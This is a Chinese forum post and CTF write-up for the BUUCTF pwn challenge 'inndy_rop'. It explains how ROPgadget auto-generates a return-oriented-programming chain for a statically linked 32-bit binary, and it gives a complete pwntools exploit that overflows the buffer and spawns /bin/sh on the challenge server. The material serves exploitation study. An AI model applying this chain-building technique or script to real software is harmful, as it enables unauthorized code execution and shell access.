bnuzgn 发表于 2023-8-13 16:26

[静态链接ropchain利用] inndy_rop


在做题拼接pop_rdi_ret这种gadget的时候经常在想,是不是能整一个程序通过拼接程序中的gadtget来达到getshell的目的。今天做题的时候终于发现了原来ROPgadget中本身就实现了这种功能。
题目来源
buuctf——pwn——inndy_rop
参考链接

[*]https://blog.csdn.net/Tokameine/article/details/120168519
[*]https://trustfoundry.net/2019/07/18/basic-rop-techniques-and-tricks/

题目信息
32位程序,题目提示Ubuntu16
   
IDA中显示900+函数,大概率是静态链接,没有使用动态链接
找了一圈没有找到system函数和execve函数
   
这一点在patchelf的时候也得到了证实
   
溢出点在overflow函数中
   
解题思路
自己构造ropchain,通过int 80指令中断至内核态,进而通过[[系统调用表调用execve函数getshell。
关键步骤
利用下面的命令可以自动生成本静态链接程序的利用代码。
ROPgadget --binary rop --ropchain
可以自动生成ROPChain,参考链接2可以更好的理解下面的步骤。ROP chain generation
===========================================================

- Step 1 -- Write-what-where gadgets

    [+] Gadget found: 0x8050cc5 mov dword ptr , edi ; pop ebx ; pop esi ; pop edi ; ret
    [+] Gadget found: 0x8048433 pop esi ; ret
    [+] Gadget found: 0x8048480 pop edi ; ret
    [-] Can't find the 'xor edi, edi' gadget. Try with another 'mov , r'

    [+] Gadget found: 0x805466b mov dword ptr , eax ; ret
    [+] Gadget found: 0x806ecda pop edx ; ret
    [+] Gadget found: 0x80b8016 pop eax ; ret
    [+] Gadget found: 0x80492d3 xor eax, eax ; ret

- Step 2 -- Init syscall number gadgets

    [+] Gadget found: 0x80492d3 xor eax, eax ; ret
    [+] Gadget found: 0x807a66f inc eax ; ret

- Step 3 -- Init syscall arguments gadgets

    [+] Gadget found: 0x80481c9 pop ebx ; ret
    [+] Gadget found: 0x80de769 pop ecx ; ret
    [+] Gadget found: 0x806ecda pop edx ; ret

- Step 4 -- Syscall gadget

    [+] Gadget found: 0x806c943 int 0x80

- Step 5 -- Build the ROP chain

#!/usr/bin/env python3
# execve generated by ROPgadget

from struct import pack

# Padding goes here
p = b''

p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080b8016) # pop eax ; ret
p += b'/bin'
p += pack('<I', 0x0805466b) # mov dword ptr , eax ; ret
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea064) # @ .data + 4
p += pack('<I', 0x080b8016) # pop eax ; ret
p += b'//sh'
p += pack('<I', 0x0805466b) # mov dword ptr , eax ; ret
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x080492d3) # xor eax, eax ; ret
p += pack('<I', 0x0805466b) # mov dword ptr , eax ; ret
p += pack('<I', 0x080481c9) # pop ebx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080de769) # pop ecx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x080492d3) # xor eax, eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0806c943) # int 0x80

请出GPT解释一下部分内容:这段代码是一段使用ROP(Return-oriented programming)技术的shellcode,其主要目标是在内存中构造/bin/sh字符串,并使用execve系统调用来执行/bin/sh命令,启动一个shell。该shellcode在Linux系统上运行,以下是关于如何存储和使用/bin/sh的详细步骤:

[*]首先,将内存指针edx设置为.data段的起始地址(0x080ea060)。.data段是程序用于存储全局变量的区域,这里我们选择它来存储我们的字符串。
[*]然后,通过pop eax ; ret将eax寄存器的值设置为/bin,然后通过mov dword ptr , eax ; ret将该值存储在edx指向的地址(即.data段的开始位置)。
[*]使用和上述相似的步骤,将//sh字符串存储在.data + 4的位置。
[*]接下来,将.data + 8的位置设置为0。这个0是/bin/sh字符串的结束标记,因为C字符串以\0为结束标记。
[*]最后,使用execve系统调用执行/bin/sh。ebx被设置为.data(/bin/sh的地址),ecx和edx被设置为.data + 8(argv和envp的地址,这里我们将其设置为NULL)。eax被设置为11,这是execve系统调用在Linux下的编号。

这就是这段代码的全部操作。对于每一次调用pack('
   
wp
# -*- coding: utf-8 -*-
from pwn import*
from struct import pack
context.log_level='debug'
context.arch='i386'
context.os = "linux"

pc = "./rop"

if __name__ == '__main__':
    local = sys.argv
    if local == '1':
      r= process(pc)
      elf = ELF(pc)
      libc = elf.libc
    else:
      r=remote("node4.buuoj.cn",27245)
      elf = ELF(pc)
      libc = elf.libc

sa = lambda s,n : r.sendafter(s,n)
sla = lambda s,n : r.sendlineafter(s,n)
sl = lambda s : r.sendline(s)
sd = lambda s : r.send(s)
rc = lambda n : r.recv(n)
ru = lambda s : r.recvuntil(s)
ti = lambda: r.interactive()
lg = lambda s: log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s, eval(s)))


# Padding goes here
p = b'a'*16

p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080b8016) # pop eax ; ret
p += b'/bin'
p += pack('<I', 0x0805466b) # mov dword ptr , eax ; ret
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea064) # @ .data + 4
p += pack('<I', 0x080b8016) # pop eax ; ret
p += b'//sh'
p += pack('<I', 0x0805466b) # mov dword ptr , eax ; ret
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x080492d3) # xor eax, eax ; ret
p += pack('<I', 0x0805466b) # mov dword ptr , eax ; ret
p += pack('<I', 0x080481c9) # pop ebx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080de769) # pop ecx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x080492d3) # xor eax, eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0806c943) # int 0x80

sl(p)
ti()

paul2569 发表于 2023-8-14 19:44

不错的帖子,学习下
页: [1]
查看完整版本: [静态链接ropchain利用] inndy_rop